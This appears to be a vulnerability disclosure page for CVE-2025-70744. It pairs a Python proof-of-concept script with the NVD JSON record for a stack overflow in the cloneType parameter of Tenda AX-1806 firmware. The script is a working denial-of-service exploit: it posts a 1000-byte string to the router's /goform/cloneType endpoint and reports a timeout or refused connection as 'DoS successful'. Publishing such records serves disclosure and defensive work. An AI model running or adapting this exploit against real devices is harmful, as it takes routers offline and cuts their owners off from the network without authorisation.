CVE-2025-70744

#!/usr/bin/env python3 """ CVE-2025-70744 PoC - Tenda AX-1806 Stack Overflow in cloneType Parameter This PoC demonstrates a stack overflow vulnerability in the sub_65B5C function of Tenda AX-1806 v1.0.0.1 firmware via the cloneType parameter. """ import requests import sys target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 def exploit_stack_overflow(target_ip, target_port): """ Send a crafted request with oversized cloneType parameter to trigger stack overflow. """ url = f"http://{target_ip}:{target_port}/goform/cloneType" # Generate payload with excessive length to overflow the stack buffer # The exact buffer size may vary, using 1000 bytes as a test value payload = "A" * 1000 headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "cloneType": payload } try: print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[*] Response status code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("[+] Possible vulnerability triggered - service may be affected") else: print("[*] Response received, check device status manually") except requests.exceptions.Timeout: print("[+] Timeout occurred - device may have crashed (DoS successful)") except requests.exceptions.ConnectionError: print("[+] Connection refused - device may be unavailable (DoS successful)") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target_ip = sys.argv[1] print("=" * 60) print("CVE-2025-70744 - Tenda AX-1806 Stack Overflow PoC") print("=" * 60) exploit_stack_overflow(target_ip, target_port)

{"cve": {"id": "CVE-2025-70744", "sourceIdentifier": "[email protected]", "published": "2026-01-15T15:15:51.530", "lastModified": "2026-01-20T17:35:48.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1806 v1.0.0.1 was discovered to contain a stack overflow in the cloneType parameter of the sub_65B5C function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Se descubrió que Tenda AX-1806 v1.0.0.1 contenía un desbordamiento de pila en el parámetro cloneType de la función sub_65B5C. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) a través de una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1806_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "578F9769-EF24-4B52-83D3-9AA2C91A503D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1806:-:*:*:*:*:*:*:*", "matchCriteriaId": "ACA44369-A513-474F-8DD0-A81B598F5B07"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1806/10/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}